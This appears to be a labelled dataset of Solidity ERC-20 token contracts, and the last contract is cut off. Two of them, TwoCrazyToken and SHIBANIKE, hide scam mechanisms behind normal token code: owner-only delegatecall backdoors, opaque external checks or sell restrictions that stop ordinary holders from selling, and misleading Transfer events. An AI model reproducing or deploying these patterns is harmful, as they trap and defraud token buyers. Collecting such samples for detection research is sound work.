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pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LOL is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function LOL() public {
symbol = "LOL";
name = "LOL";
decimals = 18;
_totalSupply = 21000000000000000000000000;
balances[0x432a39e0884a0bAA16e2b304b344E47f8CCe8B87] = _totalSupply;
Transfer(address(0), 0x432a39e0884a0bAA16e2b304b344E47f8CCe8B87, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,611 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TwoCrazyToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 500000000000000000000000000;
string public name = "2CrazyToken";
string public symbol = "2CRZ";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedEther, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,348 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SHIBANIKE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,015 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Sharpay";
string public constant TOKEN_SYMBOL = "S";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x625B05c9a1d1148D28D44354950013492124094d;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0xa77273cba38b587c05defac6ac564f910472900e),address(0xa77273cba38b587c05defac6ac564f910472900e),address(0xa77273cba38b587c05defac6ac564f910472900e),address(0x973a0d5a68081497769e4794e58ca64b020dc164),address(0x7dddf3bc31dd30526fc72d0c73e99528c1a4a011)];
uint[5] memory amounts = [uint(621000000000000000000000000),uint(496800000000000000000000000),uint(124200000000000000000000000),uint(100000000000000000000000000),uint(1778000000000000000000000000)];
uint64[5] memory freezes = [uint64(1609441201),uint64(1577818801),uint64(1546282801),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,816 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
